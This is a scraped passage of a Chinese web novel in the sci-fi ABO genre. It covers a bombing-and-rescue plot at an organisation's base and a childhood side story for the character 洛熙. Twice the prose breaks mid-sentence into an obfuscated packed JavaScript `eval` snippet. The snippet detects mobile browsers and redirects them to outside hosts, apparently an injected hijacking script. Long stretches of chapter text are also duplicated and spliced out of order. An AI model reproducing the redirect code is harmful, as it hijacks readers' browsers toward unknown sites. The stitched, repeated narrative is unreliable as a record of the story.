正在他准备打开压缩包的时候,洛熙突然推门走了进来。 “醒了?”手上提着一只棕色的皮包,没有换上拖鞋,洛熙直接走了进来,“昨天很累吧,我给你看了看身体,没啥大碍,就是累到了。” “毕竟你还在特殊时期嘛。” “你去哪儿了?”淡定地起身,林息将物品收拾好,拿起桌上的吐司片咬了一口。 竟然还是温热的。 “先喝水再吃,不然会胃疼的,”嫌弃了林息一句,洛熙才将皮包放在林息身前,温和地笑着,“我不出门,怎么找爆破的东西。” 林息刚想回复“我有”,却被打断。 “飞燕的基地是你了解还是我了解,一般的炸药不好使,”洛熙一副自信满满的样子,十分确定,“我朋友多,弄这些很方便。” 半信半疑,林息刚想确认一下,却突然反应过来:“你定好今天了?” “没错,”洛熙耸耸肩,一副无所谓的样子,“13:00。” 看着林息突然变快的进食速度,洛熙替他倒了一杯白水,放在手边。 “慢点儿,来得及,”他打趣地看着林息,“我都算好的。” 林息自然也知道时间充裕,可他还是忍不住加快了收拾的速度。 托洛熙仍要慢悠悠收拾的福,十分钟后,两人才出现在大厅。 快速打了一辆飞艇,林息转头,却看见洛熙在大厅中摘了一朵红花。 “这是干什么的?”瞥见这一幕的林息难免疑虑。 “从这里到基地,如果路上这朵花凋零,说明原种被消灭了。” 对飞艇来说,路途无需多长时间。 坐在艇内的林息却望向了窗外,地面上建筑形成了丰富的色块,乱七八糟。 “我想起你是谁了。”突然,寂静被打破。 林息转头看向洛熙,表情淡然,似乎在疑惑他在说什么。 “总觉得你眼熟,”洛熙伸出手指在唇上敲了敲,“突然想起来,我看过你小时候的照片。” “不要紧张,不是说过吗,我们彼此都会保密。” 明明克服了生理表现,林息不明白,洛熙是从哪里看出来的自己紧张? “我总能轻易看穿谎言,”洛熙隔空点了点林息的额头,“虽然论辈分,我是不是还得叫你一声师兄?” 闻言,林息愣了一下,随即拨弄了一下额发。 “我很嫉妒你,”洛熙接着说,听起来却又无比的怀念,“你得到了老师极大的喜爱。” 那位温文儒雅的人,看向那张照片时,眼中的喜爱如此深沉复杂,温和的外壳包裹着骄傲的欣赏,还有一些洛熙看不太懂的东西。 “是么。”林息靠在椅背,轻声回复了一句,然后闭上眼睛。 到达公园,距离见面还有半个小时,两人坐在紫色鸢尾花附近的长椅上。 “等会我去见面,你提前离开,爆破点我给你标注在地图上。” 将光脑打开,基地地图出现,洛熙靠近,在上面标注了一个小红点。 “这个地方离见面的门口挺远,但你只有23秒的时间找人带走。不出意外,池泷在听见爆破声后,应该也会朝你赶来。” 接着,他又标了一个新的点。 “这里是一条地道,我托朋友挖的,时间久远,但应该还是好用。” “朋友?”林息挺吃惊,“飞燕的人能给你挖这个?” “你这孩子,我在飞燕也是可以有朋友的嘛。” 林息恍然,突然明白这人是怎么在飞燕眼皮子底下躲了这么多年的了。 “一分钟,只有一分钟,军队和媒体都会到来。” 说着,洛熙起身,朝他双臂张开:“祝你好运,林息。” 林息也起身,却没有回应。 虽然面色淡然,可实际上,通过洛熙的话语,他明白洛熙已经猜到自己的身份,心下还是有些震惊。 “我能猜到的事情太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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看似完美的营救计划,可林息知道,仅仅凭借那四个小球,洛熙没法从飞燕脱身。 “什么朋友、地道,但凡有这些,神通广大的你稍加利用,这个基地就不会存在了,还用躲躲藏藏。”摇摇头,林息不明白,洛熙怎么会觉得自己好骗。 “为什么我会睡得深沉、这两天你出去做了什么、为什么你要骗我有手段从飞燕手里脱身,”伸出食指点了点,林息毫不留情,“放心,我现在并不打算知道。等把所有人都带回来,挨个询问就是了。” “就不能是你真的累了、我只约了几个人交易……”轻笑,洛熙依旧笑吟吟地回复。 可说到一半,他释然了:“是我小看你了,除了你问我的问题以外,其他的信息你应该都确认过了。” “但地道是真的,我想让你救池泷也是真的。”表情虽然无奈,可粉黄色的眸子坚定而真诚。 “除了那几个问题,剩下的我都信你,”拿起早就掉在脚边的棕色皮包,林息淡淡说道,“你是个诚实的好人,只是实话不说全。” “难得你装成那种毛头小子的模样陪我演戏,”抚上额头,洛熙苦笑,“还那么真。” “你既然打听到我是谁,难道没有听说我的另一层身份吗?”将皮包扔进旁边的草丛里,林息仍打算用自己的东西爆破。 “那又怎么样呢?毕竟你也是他教出来的好人,”洛熙笑出声,面上云淡风轻,可他的眼眸却闪闪发光,布满悔意。 “我们这样的人,总是因为倔强而不甘心。”脸部线条稍微柔和了一些,林息劝慰道,希望眼前的这人能想通。 “配药很简单、喂药也很简单,我只是觉得不公平,”洛溪看向林息,眼中的不甘压过了悔意,稀碎的血管破裂,眼球通红,“如果有罪,也应该是我来承担。明明不是他的错,明明是我的问题、是飞燕的问题,最后却又是他抗下了所有。 随即,他的表情又变得缱绻:“我希望他活着。” “一分钟,所有人都会活着。”扔下这句话,林息头也不回地离开。 留下洛熙仍站在原地,看着簇簇紫色鸢尾,手脚冰冷,喃喃自语:“可我,并不是个真正的好人啊……” 突然,他身体绷直,愣了一瞬,随即长长地叹了口气,语气止不住的担忧:“信息差?被骗了啊……真是……” 望着远去的身影,洛熙动动嘴唇,最终却什么也没说。 良久,他又一脸感动和欣慰,感慨道:“真是个心软的好孩子。” 48.第45章 第二日醒来,池泷率先去寻找吴天语。 贵宾室仍旧如同昨日般寂静,好在花圃中却出现了那个巨型的身影。 他蹲在那里,像一具蜷缩着的科学怪人,红花将他围满,鲜鲜艳艳,不似人间。 “吃过饭了吗?”经典的开场。 提前戴好面具,池泷走过去拍了拍他的肩膀。 粗壮臂膀上,有一块小小的白色止血胶布,在绷起的病号服边缘,好像没有那么突出。 池泷不自觉拿开手,手指不知所措地摩挲。 吴天语并未回头,只是随意地点点头,他的手指拨拉着土壤,像蹲在路边无聊的小孩一样。 “嗯……我在想,反正我们一时半会儿还走不了,”池泷走到他身边,也蹲下,看着他不知意图的动作,说道,“不如谈谈心?” 吴天语没什么反应,只是重复着刚才的动作。 权当这人默认,池泷兴冲冲地准备谈心。 既然要谈心,那就先交代一下自己的情况:“我叫池泷,老家是月轨六线的荒星,那里很穷。” 戳着土壤的手指继续做着匀速运动。 “这次委托,我们小队都来了,其中两人受了重伤,唉——”想起这些,池泷只觉得心堵,“好歹还留着一个最聪明能干的。” 还是一如既往地戳土。 “阿瑞亚和李光拜托我来找你,并为你平反,”唱独角戏的池泷也有些无聊,她伸手准备摘片红花的叶子,“你不知道,我一开始只觉得,能找到你的怀表就不错了。” 下一秒,一只浮肿的手将叶片打掉了。 “别、碰。”声音仍旧又尖又细。 哦耶,说话了! “那个怀表里到底有什么?洛熙根本不打算给我们。” 池泷好奇地观察吴天语的反应,但他面上仍旧没什么表情。 转头继续戳土,只不过手指的速度慢了一些。 “还有无数的红色波浪线,我没有从你俩那里看到一点记录。” 手指停止了戳的动作,转而开始将拨乱的土壤抹平。 “好吧,一开始我来的时候,是李青来接的,”池泷不屈不挠,手拄在脸上,摸到一脸胡子。 她继续唠嗑:“她和小溪都很想你,认为你是无辜的,哦对了,她知道洛熙的存在后,还想去看望洛熙来着……” 这时,一阵音乐声响起,池泷环顾四周,发现,好像是从吴天语口袋里传来的。 果然,他站起身,艰难地从腿边的口袋里掏出一个闪烁的小按钮。 上面被人用笔画了一个黑色的叉,歪歪扭扭。 摁了一下,音乐消失,吴天语往花圃外走。 “哎,我和你一起去!”池泷追身上前,想拉住吴天语的胳膊,却发现自己攥不住,只得扣了一点衣服。 手被轻轻拨下,吴天语摇摇头。 “别、看。” 他看向池泷,充血严重的眼睛里,透出几分纯真。 “熙,强,”粗肿的手指没办法比出好看的爱心,试了几次,吴天语放弃了,转而伸出一根食指,“活,好久。” 这一次,池泷没太明白。 “阿、青,”他用食指在空中画了一个长椭圆,“小溪,”长椭圆的右边,又画了一个矮很多的小椭圆。 手指在空中点了好几下,最终蹦出来一个字:“好。” 迷茫的池泷点头,想要把这些手势和话语串联。 “哥,”最后,他露出一个笑容,唇上的□□暴露得更大了,看起来十分怖人,“爱。” 这句,池泷听懂了。 吴天语转身继续离开,池泷还想追上,企图说服他。 却被再次拒绝。 于是池泷放弃了。 因为吴天语第二次,伸出手掌,轻轻摆了摆,他看向池泷的眼神,发生了变化:“池,别。” 他记住了她的姓,那样容易。 而且那个眼神,让她想起了一个人,一个寒冷天气等在车站的老人。 “早点回来。”心下虽有诸多不忍,可池泷也只能憋出这一句话。 望着远去的人,池泷突然感到,这个背影原来也宽阔挺直。 另一边,林息在洛熙房中醒来时,已经12:00AM了。 被整个时间惊了一下,而洛熙没在房内,林息皱眉,率先将随身物品检查了一遍。 衣物没换,匕首、压缩包和光脑也还在。 看向不远处桌子上的早餐,林息这才松开眉头。 出于谨慎,他还是准备继续检查装备。 光脑没有被打开过的记录。 正在他准备打开压缩包的时候,洛熙突然推门走了进来。 “醒了?”手上提着一只棕色的皮包,没有换上拖鞋,洛熙直接走了进来,“昨天很累吧,我给你看了看身体,没啥大碍,就是累到了。” “毕竟你还在特殊时期嘛。” “你去哪儿了?”淡定地起身,林息将物品收拾好,拿起桌上的吐司片咬了一口。 竟然还是温热的。 “先喝水再吃,不然会胃疼的,”嫌弃了林息一句,洛熙才将皮包放在林息身前,温和地笑着,“我不出门,怎么找爆破的东西。” 林息刚想回复“我有”,却被打断。 “飞燕的基地是你了解还是我了解,一般的炸药不好使,”洛熙一副自信满满的样子,十分确定,“我朋友多,弄这些很方便。” 半信半疑,林息刚想确认一下,却突然反应过来:“你定好今天了?” “没错,”洛熙耸耸肩,一副无所谓的样子,“13:00。” 看着林息突然变快的进食速度,洛熙替他倒了一杯白水,放在手边。 “慢点儿,来得及,”他打趣地看着林息,“我都算好的。” 林息自然也知道时间充裕,可他还是忍不住加快了收拾的速度。 托洛熙仍要慢悠悠收拾的福,十分钟后,两人才出现在大厅。 快速打了一辆飞艇,林息转头,却看见洛熙在大厅中摘了一朵红花。 “这是干什么的?”瞥见这一幕的林息难免疑虑。 “从这里到基地,如果路上这朵花凋零,说明原种被消灭了。” 对飞艇来说,路途无需多长时间。 坐在艇内的林息却望向了窗外,地面上建筑形成了丰富的色块,乱七八糟。 “我想起你是谁了。”突然,寂静被打破。 林息转头看向洛熙,表情淡然,似乎在疑惑他在说什么。 “总觉得你眼熟,”洛熙伸出手指在唇上敲了敲,“突然想起来,我看过你小时候的照片。” “不要紧张,不是说过吗,我们彼此都会保密。” 明明克服了生理表现,林息不明白,洛熙是从哪里看出来的自己紧张? “我总能轻易看穿谎言,”洛熙隔空点了点林息的额头,“虽然论辈分,我是不是还得叫你一声师兄?” 闻言,林息愣了一下,随即拨弄了一下额发。 “我很嫉妒你,”洛熙接着说,听起来却又无比的怀念,“你得到了老师极大的喜爱。” 那位温文儒雅的人,看向那张照片时,眼中的喜爱如此深沉复杂,温和的外壳包裹着骄傲的欣赏,还有一些洛熙看不太懂的东西。 “是么。”林息靠在椅背,轻声回复了一句,然后闭上眼睛。 到达公园,距离见面还有半个小时,两人坐在紫色鸢尾花附近的长椅上。 “等会我去见面,你提前离开,爆破点我给你标注在地图上。” 将光脑打开,基地地图出现,洛熙靠近,在上面标注了一个小红点。 “这个地方离见面的门口挺远,但你只有23秒的时间找人带走。不出意外,池泷在听见爆破声后,应该也会朝你赶来。” 接着,他又标了一个新的点。 “这里是一条地道,我托朋友挖的,时间久远,但应该还是好用。” “朋友?”林息挺吃惊,“飞燕的人能给你挖这个?” “你这孩子,我在飞燕也是可以有朋友的嘛。” 林息恍然,突然明白这人是怎么在飞燕眼皮子底下躲了这么多年的了。 “一分钟,只有一分钟,军队和媒体都会到来。” 说着,洛熙起身,朝他双臂张开:“祝你好运,林息。” 林息也起身,却没有回应。 虽然面色淡然,可实际上,通过洛熙的话语,他明白洛熙已经猜到自己的身份,心下还是有些震惊。 “我能猜到的事情太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15154132|155610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多了,”洛熙笑眯眯,慈爱地看着,“你做得很好,没人能轻易看穿你的伪装,除了我。” 没管林息愿不愿意,洛熙给了他一个拥抱:“从此过后,永不相见。” 林息没有回应,后背传来温暖的压力时,他的双手仍旧垂在腿边。 拥抱完的洛熙将棕色皮包递给林息:“喏,炸药。” “你想让我偷偷潜入基地,破开墙壁救人出来?”被拥抱完后,林息才开口说话,只是听起来语气不对劲。 “昨天到现在,不是一直这么商量的吗?”挑起眉毛,洛熙不确定地回复。 “倒也不必,哦,我一直忘记跟你说了,我操控了飞燕这个基地的网络,”这次换成林息倾身向前,他个子和洛熙差不多,然而逼近时,那双碧蓝眼眸里却传来骇人的压力,“尽管现在的他们或许正以为,已经把我的侵入影响消除了。怎么,你的朋友没告诉你吗?” 皱起眉头,洛熙此刻终于觉得不对劲,他直视着逼近的人,身体僵直,动也不动。 “你在紧张什么?怕我知道什么吗?比如——”看到一直游刃有余的人,突然出现完全相反的生理反应,林息哼笑了一下,唇角微勾的同时,眼底划过一丝兴味,“你从我的压缩包里,拿走了白家的那几个银白小球?” 腰部塌了一下,但下一秒又恢复原状,洛熙也笑起来:“你想说什么?” 从昨天开始,林息就没完全信任眼前这个人。 一开始的“全盘托出”、后来的“深夜谈心”,最后的“措手不及”。 他在利用池泷、和那个人,企图打乱自己的心绪、转移自己的注意力。 为什么呢?因为—— “这件事没有你说的那样简单,你们在隐瞒什么?”林息也直起腰身,冷淡说道。 看似完美的营救计划,可林息知道,仅仅凭借那四个小球,洛熙没法从飞燕脱身。 “什么朋友、地道,但凡有这些,神通广大的你稍加利用,这个基地就不会存在了,还用躲躲藏藏。”摇摇头,林息不明白,洛熙怎么会觉得自己好骗。 “为什么我会睡得深沉、这两天你出去做了什么、为什么你要骗我有手段从飞燕手里脱身,”伸出食指点了点,林息毫不留情,“放心,我现在并不打算知道。等把所有人都带回来,挨个询问就是了。” “就不能是你真的累了、我只约了几个人交易……”轻笑,洛熙依旧笑吟吟地回复。 可说到一半,他释然了:“是我小看你了,除了你问我的问题以外,其他的信息你应该都确认过了。” “但地道是真的,我想让你救池泷也是真的。”表情虽然无奈,可粉黄色的眸子坚定而真诚。 “除了那几个问题,剩下的我都信你,”拿起早就掉在脚边的棕色皮包,林息淡淡说道,“你是个诚实的好人,只是实话不说全。” “难得你装成那种毛头小子的模样陪我演戏,”抚上额头,洛熙苦笑,“还那么真。” “你既然打听到我是谁,难道没有听说我的另一层身份吗?”将皮包扔进旁边的草丛里,林息仍打算用自己的东西爆破。 “那又怎么样呢?毕竟你也是他教出来的好人,”洛熙笑出声,面上云淡风轻,可他的眼眸却闪闪发光,布满悔意。 “我们这样的人,总是因为倔强而不甘心。”脸部线条稍微柔和了一些,林息劝慰道,希望眼前的这人能想通。 “配药很简单、喂药也很简单,我只是觉得不公平,”洛溪看向林息,眼中的不甘压过了悔意,稀碎的血管破裂,眼球通红,“如果有罪,也应该是我来承担。明明不是他的错,明明是我的问题、是飞燕的问题,最后却又是他抗下了所有。 随即,他的表情又变得缱绻:“我希望他活着。” “一分钟,所有人都会活着。”扔下这句话,林息头也不回地离开。 留下洛熙仍站在原地,看着簇簇紫色鸢尾,手脚冰冷,喃喃自语:“可我,并不是个真正的好人啊……” 突然,他身体绷直,愣了一瞬,随即长长地叹了口气,语气止不住的担忧:“信息差?被骗了啊……真是……” 望着远去的身影,洛熙动动嘴唇,最终却什么也没说。 良久,他又一脸感动和欣慰,感慨道:“真是个心软的好孩子。” 49.第46章 12:55。 公园里的人好像收到了什么通知,纷纷离开。 “你不走吗?这里马上要进行杀虫清扫,很毒的。”一位路过的中年beta男性好心发来询问。 看了一眼这个孤零零坐着的粉黄色眼眸的omega,突然发现他没有光脑,怪不得收不到疏散信息。 “我在等人,很快就离开,谢谢。”omega彬彬有礼,优雅温和的笑容里,有种莫名的稳重和安心。 于是,beta不好意思地点点头,随即就离开了。 12:58。 空无一人的公园,紫色的鸢尾花簇迎风招展。 洛熙起身,掸掸身上并不存在的灰尘,双手插兜,缓缓朝前走去。 不远处,树丛中间,一扇门逐渐浮现,门中一巨一小,一高一矮两道身影出现。 “就你一个?”长相妖娆的人右眉轻挑,紫牙乌发丝像流水一样散落肩头,白衣黑裤,双手插兜,闲庭信步。 绸缎高领衬衣遮住了大部分脖颈,只能隐隐看到耳旁的墨鱼头部。 “就你一个?”洛熙也眉头轻挑,他没有率先去查看吴天语的状况,反而看着来人这张应该陌生的面孔。 “啊,怎们说呢,”左臂横在胸口,右肘搭在左手上,修长玉白的手指点点脸蛋,看上去人畜无害,“他说,你跑不了,而这个人——” 原本戳着脸蛋的手指指旁边的“巨人”,笑嘻嘻的口气像是熟稔的小辈:“也跑不了。” “哦?”右手握紧口袋中的白色小球,洛溪也笑了,想语气轻松,“这么笃定?” “不知道该怎么跟你们说……”手指又开始点着脸颊,妖媚的模样,此刻却笑出了几分纯真。 然而洛熙并没有让眼前人继续说话的打算,他看向昔日的爱人,已经肿胀得不成人样,血管暴起的两只臂膀上,各有一块白色的止血布,被衣物紧紧勒着。 “你说……”粉黄色眼眸里瞬间盈满泪水。 他快走几步,踮起脚尖,捧住爱人几乎看不出原样的脸,左手的指缝间,沾染着点点血红碎屑。 “我后悔了。”终其一生,洛熙都不曾后悔过。 他总觉得,没什么事值得后悔的,因为做错了就去弥补,做对了就继续走,有什么好后悔的呢? 就算、真的有,也绝不能说出口。 吴天语摇摇头。 从几乎消失的眼睛里,洛熙读懂了那份安慰。 他从没怪过他。 然而一旁的人,在看到那些碎屑时,脸色已然阴沉了下来。 没有说话,暴然转身,果然下一秒远处传来震耳欲聋的爆炸声! 紧接着,他的身体就好像被什么东西禁锢住,暗紫眼眸缓缓往身旁转动。 可恶!明明知道这人手里握着不可小觑的武器,可什么时候拿出来的! 更难以置信的是,基地并未传来任何警报! “别去打扰他们,这是我唯一能为你做的。”搂住僵直的人,洛熙将其往一旁拖去。 看上去瘦弱的omega力气不小,哪怕手中多了一个人的重量,也仍旧步履稳健。 看起来强壮的alpha虚弱异常,看到人被拖走,才缓缓躺在地面,连抬手的力气都没有。 “对不起。”返回的omega,右口袋已经空空如也。 他安然躺下,握住爱人的手指。 和爱人相比,他的手以前就小很多,此刻,也只能握住手指。 爱人的目光仍旧是温暖的,没有任何指责或者埋怨。 “真好,”洛熙眼眸集聚着泪水,瞬间晶莹如同断线珠子般滑落,“让一切罪孽,都在这里结束吧。” 脑海里划过一张如同冰雪雕琢的脸,他好像又想通了什么,带着颤颤巍巍的哭腔:“我真的,不是好人啊。” 无论过了多少个世纪,沧海桑田,反义词的伴生关系却没有改变。 美味的极致是恶臭。 光明的最终是黑暗。 巨大的爆炸声,响彻在耳朵里时,是令大脑空白的寂然。 时间回到池泷和吴天语分开的那一刻。 吴天宇被带走后,在原地等了一会儿,池泷才离开花圃。 想到吴天语此刻或许正像一只小白鼠一样被绑在床上抽血,她就没了溜达的心情,干脆往房间走去。 难怪电影里,那些令人闻风丧胆的惩戒室总是空荡的。 努力不去胡思乱想、努力不担心、努力找事儿的池泷,终于又回到无所事事的状态。 令人疯狂的无所事事。 她目光呆滞地看向比自己还忙的钟表,秒针马不停蹄地转动着。 一圈、一圈,又一圈。 在它的世界里,每一步都是重要的。 一步就是一秒,晚了一步,这个世界就会错过一秒,早了一步,这个世界就会多赚一秒。 它是能影响分针、时针,乃至时间的大人物! 然而在其他人的世界里,它的每一步却都无关紧要。 不断的循环,循环往复的循环。甚至在电子表里,它都不会出现。 没有它的存在,分针、时针也会转动变化,时间也会流逝,就像那只以为是因为自己叫唤才让太阳升起的公鸡,最终还不是落在了主人的肚子里。 “哒、哒、哒……”忍不住随着秒针的走动哼出声,池泷目光呆滞,失去了神采。 甚至“哒”的时间长了,都出现了错觉。 虽然隔着钟表很远,但这种声音仿佛就在耳边。 耳朵动了动,池泷皱眉,她闭上嘴巴。 果真,钟表的滴答声,在耳畔继续响起。 自己能听见了?池泷刷地从床上窜起,站在床边,往门口望去。 行云流水的弧线,威风凛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15154133|155610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凛的虎啸山林生动地雕刻在门口处。 “谁家会在门上画虎,”望着危险的虎脸,池泷忍不住翻了个白眼,吐槽,“脸还是朝门内的,这是要吓唬内人还是吓唬外人啊!” 但听觉恢复的喜悦不会被这一点小插曲影响,她伸展了四肢,觉得力气也在逐渐恢复。 咧开嘴,池泷无声地笑了,然而墨染的眼眸里却闪过一丝不知名的暗光。 她看向钟表,却奇怪地歪了歪头。 12:58。 家政机器人没有出现。 思索片刻,池泷忍不住动用腺体,不再钝痛,没有不适,熟悉的信息素被轻轻释放了出来。 常识:如果风中传来泥土的味道,那一般就是要下雨了,赶紧回家收衣服。 不幸的是,这里一尘不染。 彻底恢复的池泷心安不少,毕竟手里有底牌,上桌的时候才方便大展拳脚。 她微笑着,回身在床面中间击了一拳,才向着房门外走去。 门刚关上,被重击的床榻轰然倒塌,粉尘剧增,终于带来了“大雨将至”的消息。 而此时,分针走了一步,12:59。 池泷马不停蹄地朝集合地点赶去,基地里静得出奇。 又或者说,基地还是一如往常,是过于兴奋的池泷,觉得它相对安静。 又或者说,在集合处站定,信息素带来不可置信的消息。 红花,消失了!? 那种随处可见、令人预呕的感觉消失,本该是一件令人开心的事,但此刻池泷却高兴不起来,可能因为那个巨大的身影并未出现在这里。 突然,她快速闪身,朝后掠开一大段距离。 下一秒,爆炸声传来,墙体四溅,碎片落在池泷脚前。 环顾四周,她发现警报未响。 灰尘中,金黄短发、碧蓝眼眸的人缓缓浮现。 四目相对,两人脸上却皆是沉重,眼眸里不含半分再次相逢的喜悦。 “23秒。”本就如冰般冷冽的声音,此刻更是像来自冰渊深处。 没有犹豫,池泷瞬间单手抱起林息,冲出墙上的破洞,用尽最大力气,朝远处飞奔。 余光中,树木、装饰的掠影都不成形状,耳边传来轻微的风声。 突然,她将人换到胸前,死死箍住。 随即,巨大的冲击波从身后推来,背上传来的一瞬灼烧感,进而什么也感受不到了。 两人重重砸在地上,没有任何保护的手臂被石砾划开,连怀中人也不能幸免。 尽力了,池泷想,她不确定自己是不是在大口呼气,她看到怀里的人,好像眼眸发红,嘴唇微动。 听不见他在说什么,只是看那唇形,好像在说“骗子。” 是啊,池泷也赞同,眼前断断续续地闪过憔悴的面容、巨大的身影,彻底闭上眼睛之前,池泷想,真的是个大骗子。 50.人生五步之前三步(alpha吴天语和omega罗熙)[番外] “平等。” 年幼的omega蜷缩在衣柜,将一本纸质书籍平摊在曲起的双腿上,一只手负责翻页,另一只手提着一根手电筒。 腿旁还放着一本极厚的书,封皮及周边都被人用纸壳糊了薄薄一层,好像是为了保护,又好像是为了遮掩,总之,书页泛黄、历史悠久,但边角格外整齐,想必使用者对它十分爱护。 看到这个词时,炯炯有神的粉黄眼眸中浮现起一抹疑惑。 这本由笔名“自赏”的人主编的《起源》杂志今天第一次发行,说是发行,实际上,却只能在一小部分的圈子内流通,听说是因为央星那边,隐隐不太赞成这件事。 杂志里介绍了古星时期,不同性别的旧人类之间相处的故事。 让omega震惊的是,很久很久以前的人,竟然只有第二性别! 但这些只有第二性别的“人”,竟然可以在同一座机构里工作、可以一同上学、一起生活在天空之下。 “咚!咚!”厚皮靴重重踩在地板上,传来震慑人心的步调。 Omega赶紧将杂志、电筒和那本奇怪的书籍埋进乱七八糟的布堆,慌慌张张地钻出柜子。 他一边扯乱身上被粗大的针脚勉强补起的破旧衣物,一边将漂亮的蓝色头发揉乱,刚才还精光闪闪的眼睛突然变得失去了神采,看上去,整个人又脏又乱又傻,让人不屑一顾。 “偷什么懒呢,小崽子!”蒲扇般的大手“嘭”地推开房门,门页撞在墙壁上发出不小的撞击声。 暗自瞥了一眼,omega祈祷,希望这扇本就摇摇欲坠的门快点破碎,这样这人就会离开店铺、出去找东西修补了。 来人身前裹着一条大码的防水围裙,上面红黄斑驳,看起来很不卫生,除此之外,没穿任何东西,露出满是横肉的两条粗臂。 磨毛的军绿工装裤到处打了补丁,尤其是裤腿处,破了许多小洞、又懒得修补,只随随便便地往一双肮脏的雨靴中一塞。 因为天生打卷,难以整理,那头被劣质染色剂染成的头发早就打结,乱七八糟地堆在头顶,加上粗犷、不好惹的面相,让这人看起来像一只好强争斗的野鸡。 看到omega呆呆地站在柜前,这人二话不说,扬起巴掌,走了过去,雨靴和地板的摩擦声更大更急,那只大手扬得极高,“呼”地落下! 在omega头顶温柔地揉了揉。 “哎呦,我们小心肝怎么了,怎么看起来这么不高兴?”同样粉黄的眼眸盈着和模样完全不同的和蔼,粗糙的手掌带着难以想象的温柔,“是不是做活太多,累着了?” 头顶传来洛熙不喜欢的腥味,他撒娇似的皱起鼻子,想要躲开母亲的抚摸,却又被捉了回来。 刚杀完某种生物的指缝里还带着没仔细洗净的血丝,将孩子身上的衣服笨拙地掖了掖,尽管放小了力气,可整理头发的力度,还是让洛熙忍不住龇牙咧嘴。 “唉,都怪我,你妈妈死得早,又没人愿意跟我这样的alpha结婚,不然我们小熙也能干干净净的。”她站起身,望着乱糟糟的房间,完全不像是一个omega的“闺房”。 到处都是随意摆放的物品,尤其是亡妻留下的小书柜,仿佛遭受了洗劫,书本被人扔得到处都是,杯子团了一团,堆在软趴趴的枕头上面,床单满是褶皱,这个房间里,唯一整洁的是床底的皮鞋,还缺了一根鞋带。 话说,“闺房”这个词,还是她今天刚跟来买肉的小学教师学的,那人打趣自己:“屠夫的omega后代,‘闺房’里怕都是这样的毛皮吧。” “闺房是什么?”alpha问道,粗厚的声音,让虚心的询问也听起来像找茬。 “就是干干净净、香香软软的omega房间。”那个alpha老师往后退了两步,扶了扶鼻梁上的眼睛,小声说道。 那可差远了,她想起自家儿子的房间,都怪她,如果自己有个omega伴侣,就有人可以教小熙这些东西了。 “没关系,母亲。”小小的洛熙刚好能环保住alpha的一条大腿,“我已经9岁了,等去了学校,我可以问老师。” “瞎说什么呢!怎么又说这个了?”alpha熟练地瞪大眼睛,看起来十分吓人,但那只小小的omega却没有害怕,“咱们这儿哪有omega去上学的,哪怕星联中间的那个富贵地方,那个……” “央星。”洛熙补充道。 “对,央星,有钱人和高高在上的贵人们生活的地方,”alpha的表情十分严肃,连语气也斩钉截铁,“那里的omega都没有出门、上学,都得乖乖嫁人的!” “你怎么确定的?央星明明取消了分离政策,让omega出门的!”洛熙不服。 “你怎么知道这么多?”震惊于孩子的认知度,alpha觉得他遗传了自己的聪明劲儿,如果也是个alpha,一定能撑起自己的肉铺。 但虽然聪明如她,她也不知道央星到底是不是那样的,只是从小听人都这么说的。而且前些日子,那个戴眼镜的小学教师也拿出光脑,指着自己看不懂的新闻说,央星就是那样的。 “你还小,很多事你不明白,那些活在天上的人,最喜欢说一套、做一套了。”alpha拿出大人的气势,一锤定音。 这个她是知道的,因为朝自己收保护费的人,都戴着“XXX探索队”的铭牌。 接着,伸出粗壮的食指,alpha肯定地摇了摇:“小宝贝,上学没什么好玩的,我被强制送去上学的时候,同学会嘲笑你是屠夫家的后代,老师还会拿手腕粗的棍子打人!所以,那时候,我天天最盼着的就是赶紧上完这个该死的学。” “等你嫁人了,”摇够了的食指戳戳气鼓鼓的脸颊,alpha一脸宠爱的模样,“一切都会好起来的。” “我舍不得母亲。”抱住大腿的小手臂勒得更紧了,仰起的小脸干干净净、十分喜人,alpha忍不住捏捏,心中对于亡妻唯一留给自己的念想也十分不舍。 这个小东西,都7岁了,还得母亲给整理衣服和头发呢。 “今天中午吃豌豆和豚牛肉,加了你喜欢的胡椒,”将腿上的小人扒拉下来,alpha准备离开,“五分钟后我把午饭拿上来,吃完后要……” 未尽的话语是期待、也是考验,洛熙十分无语,可脸上仍旧摆出乖巧的表情,伸手指着门边挂着的一根细细长绳:“摇铃铛,母亲会来收。” 比了个大拇指,中途回来休息的顶梁柱又返回了楼下的工作岗位。 门再次被锁起,洛溪失望地叹气,他爬到被细密的防护网覆住的窗边,在左下角,偷偷掀起个小口。 幸好他母亲没有多余的闲钱去买昂贵的金属防护,只能用的编织网,不然自己还真的不好操作。 这个小口,是洛熙辛辛苦苦自己切割、磨出来的,刚好能看见楼下的小院,这是干宰杀牲畜等准备工作的地方,院子的最前方,有一片一人通行的门帘,可以去往柜台。 透过门帘旁用来空间间隔的玻璃,也能看到母亲卖肉的柜台。 洛熙很少会用到这个小口,要是被前来买东西的alpha们抓到可就不好了,尤其是母亲口中的“探测队”,他们都是alpha当中的精英,五感敏锐得很。 等有一天他将这些人的能力都估摸差不多了,一定光明正大地,偷看! 